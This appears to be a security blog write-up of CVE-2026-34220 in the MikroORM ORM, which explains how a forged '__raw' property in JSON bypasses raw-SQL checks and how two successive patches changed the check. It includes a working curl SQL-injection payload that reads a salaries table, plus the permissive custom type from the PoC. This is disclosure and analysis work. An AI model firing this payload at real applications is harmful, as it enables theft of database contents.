//nefariousplan

CVE-2026-34220: MikroORM's Raw-SQL Brand Was a Property Name

patterns

cve

proof of concept

MikroORM has a primitive called RawQueryFragment. The ORM mints one at internal call sites that have already assembled a SQL string and want the rest of the codebase to inline that string into a query unquoted. Nineteen functions across the ORM trust a single check, isRaw(value), to decide whether a given value is one of those fragments or an ordinary value to be quoted. Pre-patch, isRaw asked the value one question.

Did it have a property called __raw.

That is the entire question. The marker was a string. The check was the JavaScript in operator. JSON objects can have a property called __raw.

The brand was on the prototype. The check was the in operator.

The pre-patch implementation lives in packages/core/src/utils/RawQueryFragment.ts:

Object.defineProperties(RawQueryFragment.prototype, {
  __raw: { value: true, enumerable: false },
});

export function isRaw(value: unknown): value is RawQueryFragment {
  return typeof value === 'object' && value !== null && '__raw' in value;
}

Two statements. The first installs a non-enumerable property called __raw on RawQueryFragment.prototype. Every new RawQueryFragment(sql, params) instance inherits that property by way of its prototype. The second function is the runtime test the rest of the codebase uses to decide "raw SQL fragment" versus "value to be quoted."

isRaw is called from nineteen sites in the published source tree:

EntityManager.ts                  unique-key validation in upsert
EntityFactory.ts                  default-value handling
entity/validators.ts              null vs raw fragment
utils/Utils.ts (equals)           change detection
utils/QueryHelper.ts (x3)         where-clause flatten, custom-type bypass, condition root
utils/RawQueryFragment.ts (x3)    isKnownFragment, getKnownFragment, raw()
utils/upsert-utils.ts             upsert assembly
unit-of-work/ChangeSetPersister   INSERT and UPDATE SQL assembly (x2)
unit-of-work/ChangeSetComputer    change diffing
serialization/EntityTransformer   dehydration
serialization/EntitySerializer    serialization
drivers/DatabaseDriver (x2)       converter dispatch on insert and update

Every one of those sites trusts isRaw(x) === true to mean "the codebase produced this. Its .sql string is safe to inline into the query."

The in operator cannot see who wrote the property

Read isRaw once more. The check is '__raw' in value.

The in operator walks the prototype chain. The question it answers is "does this value, or any prototype above it, have a property called __raw." For a real RawQueryFragment instance, __raw is on the prototype. The answer is yes. For a plain JSON object whose own properties include __raw, the operator finds the property on the value itself, before it ever needs to consult the prototype. The answer is yes.

The check has no way to distinguish "the codebase installed this via Object.defineProperties on a prototype" from "a stranger typed it into a request body." Both cases produce the same true, because the operator was chosen to find the property, not to ask who put it there. The trust boundary the codebase needed was the difference between those two cases. The operator could not see it.

How a request body reaches isRaw

The bug becomes a SQL injection only when application code lets attacker-controlled JSON reach a place where the ORM calls isRaw on it. MikroORM's Custom Type system is one such path, and it is the path the public PoC takes.

A column declared as a Custom Type runs convertToDatabaseValue(value) between the entity layer and the SQL writer. If the custom type returns the value as-is, the value flows through ChangeSetPersister to the INSERT/UPDATE assembler, and that assembler asks isRaw whether to quote the value or inline .sql directly. The PoC's JsonOrRawType encodes that exact path:

class JsonOrRawType extends Type {
  convertToDatabaseValue(value) {
    if (value && typeof value === 'object' && '__raw' in value) {
      return value;
    }
    return typeof value === 'string' ? value : String(value ?? '');
  }
  convertToJSValue(value) {
    if (typeof value === 'string') {
      try { return JSON.parse(value); } catch { return value; }
    }
    return value;
  }
  getColumnType() { return 'text'; }
}

The custom type is permissive on the way in: if the value happens to look like a raw fragment, return it untouched, and let the ORM downstream make its own decision. The custom type is the application's contribution to the chain, but it is not the bug. Even a plain pass-through type would carry the payload to ChangeSetPersister, where the same isRaw decision happens.

The exploit is one POST:

curl -X POST http://localhost:3000/api/posts \
  -H 'Content-Type: application/json' \
  -d '{
    "author":"x",
    "title":"x",
    "content":{
      "__raw": true,
      "sql": "(SELECT group_concat(name || \": \" || salary, \" / \") FROM salaries)"
    }
  }'

The Express handler hands content to em.create(Post, { author, title, content, created_at }). Flush runs ChangeSetPersister. ChangeSetPersister calls isRaw(content). isRaw evaluates '__raw' in content. The JSON object's own property __raw is found on the first lookup. isRaw returns true. The INSERT assembler reads content.sql as a raw SQL fragment and emits a query of roughly the shape:

INSERT INTO posts (author, title, content, created_at)
VALUES ('x', 'x',
  (SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries),
  '2026-04-27 05:14:33');

The salaries table is not the posts table. SQLite does not care. The subquery runs, returns a string, the row stores it as the post's content. The next GET / renders the salary table inside a post body.

There is no SQL parser involved on the attacker side. There is no quoting bypass. There is no escaping flaw. The attacker writes __raw and sql into a request body, and the ORM signs the resulting string as raw SQL on its own.

The patch changed three things in one function

The 6.6.10 / 7.0.6 fix is one commit, f7e59a5, titled fix(core): tighten query construction validation. The diff against RawQueryFragment.ts:

+const rawSymbol = Symbol('RawQueryFragment');

 export class RawQueryFragment<Alias extends string = string> {
   constructor(
     readonly sql: string,
     readonly params: unknown[] = [],
-  ) {}
+  ) {
+    Object.defineProperty(this, rawSymbol, { value: true, enumerable: false });
+  }
 }

-Object.defineProperties(RawQueryFragment.prototype, {
-  __raw: { value: true, enumerable: false },
-});

 export function isRaw(value: unknown): value is RawQueryFragment {
-  return typeof value === 'object' && value !== null && '__raw' in value;
+  return typeof value === 'object' && value !== null && Object.hasOwn(value, rawSymbol);
 }

Three changes, all in one function:

  1. The marker is no longer the string '__raw'. It is a Symbol('RawQueryFragment') held in a module-local const. Symbols do not survive JSON.stringify and have no JSON literal form. An attacker cannot put a symbol in a request body.
  2. The marker is no longer installed on the prototype. The constructor installs it on the instance directly via Object.defineProperty(this, ...). There is no prototype-chain artifact for a forged object to inherit.
  3. The check is no longer in. It is Object.hasOwn(value, rawSymbol). Own properties only. The prototype chain is no longer in scope.

The first change alone closes the bug for a JSON payload, because JSON cannot deliver a symbol. The second and third changes are belt-and-suspenders against forms of forgery that JSON cannot reach but in-process code can. The patch made all three changes at once because each one was independently doing work.

Two weeks later, the patch had to be patched

Commit f596bdd, dated April 9 2026, ships in 6.6.13 / 7.0.7. The message names a flaw in the previous fix:

Symbol.for(...) for the brand was the wrong tool: raw fragments are the primitive that turns a string into raw SQL, and publishing a global key would let any in-process code trivially manufacture forged fragments.

Symbol.for('RawQueryFragment') would have been globally registered. Any code in the same process could call Symbol.for('RawQueryFragment'), get the same symbol, and forge a fragment by writing that key on a plain object. The original commit knew that, which is why it used Symbol(...) and not Symbol.for(...). Module-local Symbol(...) had its own problem in the other direction: when tsx registers both an ESM and a CJS hook for a CLI process, @mikro-orm/core ends up loaded twice. Two distinct classes, two prototypes, two brand symbols. A fragment minted by raw('now()') in one copy was invisible to isRaw in the other. Legitimate raw fragments started flowing through SQL assembly as plain objects.

The follow-up walks the brand back to the prototype, with a string key, and rewrites the check:

const RAW_FRAGMENT_BRAND = '__mikroOrmRawFragment';

Object.defineProperty(RawQueryFragment.prototype, RAW_FRAGMENT_BRAND, {
  value: true, enumerable: false,
});

export function isRaw(value: unknown): value is RawQueryFragment {
  if (value == null || typeof value !== 'object') return false;
  if (value instanceof RawQueryFragment) return true;
  for (
    let p = Object.getPrototypeOf(value);
    p != null && p !== Object.prototype;
    p = Object.getPrototypeOf(p)
  ) {
    if (Object.hasOwn(p, RAW_FRAGMENT_BRAND)) return true;
  }
  return false;
}

The brand is on the prototype, like the original pre-patch code. The brand is a string, like the original pre-patch code. The check iterates from Object.getPrototypeOf(value) upward, stopping at Object.prototype, calling Object.hasOwn at each step. JSON payloads have Object.prototype as their prototype. Object.prototype does not own the brand. The walk exits on the first iteration with false.

The pre-patch code had two of three pieces right. The brand being a string was fine. The brand living on a prototype was fine. The piece that was wrong was the question isRaw asked of the value. '__raw' in value and Object.hasOwn(Object.getPrototypeOf(value), '__mikroOrmRawFragment') ask different questions of the same object. The first counts the value's own properties as part of the chain. The second walks past them. The trust boundary lives in that distinction.

Internal-only by convention, one floor below the wire

Three weeks ago, CVE-2025-29927 named this shape on the inbound HTTP edge. Next.js middleware had a header called x-middleware-subrequest that the framework wrote on its own internal fetch() calls and read on every inbound network request. The header's "internal-only" status was held by the convention that nobody outside the framework would type the header on the wire. Once anyone did, the framework's own auth-bypass logic ran with full authority.

MikroORM's __raw is the same pattern one floor below the wire. The internal-trust marker is a property name, not a network header. The IPC channel is a JavaScript object, not an HTTP request. The naming convention is __ prefix instead of x- prefix. Everything else is the same. The framework had a string. The string meant "this came from inside, trust it." The runtime check could not see who wrote the string. The string could be written by anything that wrote that object, and JSON writes objects.

This is the Internal Only By Convention shape generalized below the network layer. The catalog described it as a header, query parameter, or environment input the framework defines as internal-IPC-only, read with security-relevant authority on every inbound request. Object properties belong on that list too. The convention is whatever the code believes about who wrote the field, and the convention holds only as long as the runtime can verify it. '__raw' in value cannot verify it. Object.hasOwn(Object.getPrototypeOf(value), '__mikroOrmRawFragment') can.

It is also a particular shape of Trust Inversion. The trusted artifact is the ORM's own internal raw-SQL marker. The attacker captures it not by compromising the maintainer or the package, but by writing a property name into a request body. One compromise covers every Custom Type column on every install of every affected version. The cost of capture is nine bytes of JSON.

PoC: EQSTLab/CVE-2026-34220.

The first patch switched the brand from a string to a Symbol. The second patch switched it back to a string. The bug was never the brand.